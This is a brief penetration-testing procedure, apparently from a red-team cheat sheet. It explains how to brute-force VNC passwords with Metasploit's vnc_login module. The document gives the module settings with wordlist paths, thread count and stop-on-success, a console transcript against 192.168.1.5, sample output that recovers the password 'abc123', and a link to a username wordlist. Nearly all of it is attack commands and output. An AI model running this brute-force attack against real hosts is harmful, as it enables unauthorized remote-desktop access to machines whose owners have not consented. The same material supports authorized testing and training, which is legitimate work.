TTP – Attacking the VNC Service

Brute Forcing the Credentials for VNC:

- Conduct NMAP Scan (typically responds on tcp/5900)

- Target a single VNC host using Metasploit using the following settings:
  - use /auxiliary/scanner/vnc/vnc_login
  - set rhosts {tgt_ip}
  - set user_file /usr/share/wordlists/vnc_users.txt
  - set pass_file /usr/share/wordlists/complete.txt
  - set threads 200
  - set stop_on_success true
  - run

```
msf > use auxiliary/scanner/vnc/vnc_login
msf auxiliary(vnc_login) > set user_file /usr/share/wordlists/vnc_users.txt
user_file => /usr/share/wordlists/vnc_users.txt
msf auxiliary(vnc_login) > set pass_file /usr/share/wordlists/complete.txt
pass_file => /usr/share/wordlists/complete.txt
msf auxiliary(vnc_login) > set threads 200
threads => 200
msf auxiliary(vnc_login) > set stop_on_success true
stop_on_success => true
msf auxiliary(vnc_login) > set rhosts 192.168.1.5
rhosts => 192.168.1.5
msf auxiliary(vnc_login) >
```

Sample Output:

```
[*] 192.168.1.116:5900 VNC - [3/4] - Attempting VNC login with password 'password'
[*] 192.168.1.116:5900 VNC - [3/4] - , VNC server protocol version : 3.8
[-] 192.168.1.116:5900 VNC - [3/4] - , Authentication failed: Authentication failure
[*] 192.168.1.116:5900 VNC - [4/4] - Attempting VNC login with password 'abc123'
[*] 192.168.1.116:5900 VNC - [4/4] - , VNC server protocol version : 3.8
[+] 192.168.1.116:5900, VNC server password : "abc123"
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(vnc_login) >
```

2

Note: external copy of vnc_users.txt is located at:
https://www.uscyberwarrior.com/cnd/dl/misc/vnc_users.txt